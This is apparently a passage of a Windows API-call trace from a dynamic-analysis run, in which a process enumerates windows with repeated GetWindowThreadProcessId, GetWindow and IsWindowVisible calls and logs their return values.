[0273.194] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.194] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.195] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.195] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.195] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.195] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0273.196] IsWindowVisible (hWnd=0x10320) returned 0
[0273.196] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.196] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0273.196] IsWindowVisible (hWnd=0x1031c) returned 0
[0273.196] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.196] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0273.196] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.196] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0273.196] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.196] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0273.196] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.197] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0273.197] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.197] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0273.197] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0273.197] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0273.197] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0273.197] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.197] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0273.197] IsWindowVisible (hWnd=0x102e0) returned 0
[0273.198] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.198] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0273.198] IsWindowVisible (hWnd=0x102e6) returned 0
[0273.198] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.198] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0273.198] IsWindowVisible (hWnd=0x102e2) returned 0
[0273.198] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.198] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0273.198] IsWindowVisible (hWnd=0x102de) returned 0
[0273.198] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.198] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0273.198] IsWindowVisible (hWnd=0x102dc) returned 0
[0273.198] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0273.199] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0273.199] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0273.199] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0273.199] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.199] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.199] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.199] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.200] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.200] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.200] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.200] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.200] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0273.200] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0273.200] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0273.201] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0273.201] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0273.201] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0273.202] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0273.202] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0273.202] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0273.203] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0273.203] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0273.203] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0273.203] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0273.204] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0273.205] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0273.206] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0273.206] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0273.206] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0273.206] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0273.206] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0273.206] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0273.206] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0273.206] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0273.206] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0273.207] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0273.207] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0273.207] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0273.207] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0273.207] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0273.207] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0273.207] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0273.207] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0273.208] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0273.208] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0273.208] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0273.208] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0273.208] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0273.208] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0273.208] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0273.208] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0273.209] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0273.209] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0273.209] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0273.209] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0273.209] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0273.209] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.209] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0273.209] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.210] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0273.210] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.210] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0273.210] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.210] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.210] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0273.210] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.211] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.211] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.211] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.211] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0273.211] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0273.211] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.211] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0273.212] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.212] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.212] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0273.212] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0273.212] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0273.212] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0273.212] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0273.212] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0273.212] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0273.213] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0273.213] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0273.214] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0273.214] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0273.214] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0273.214] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0273.214] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0273.215] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0273.215] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0273.215] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0273.215] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0273.216] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0273.216] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
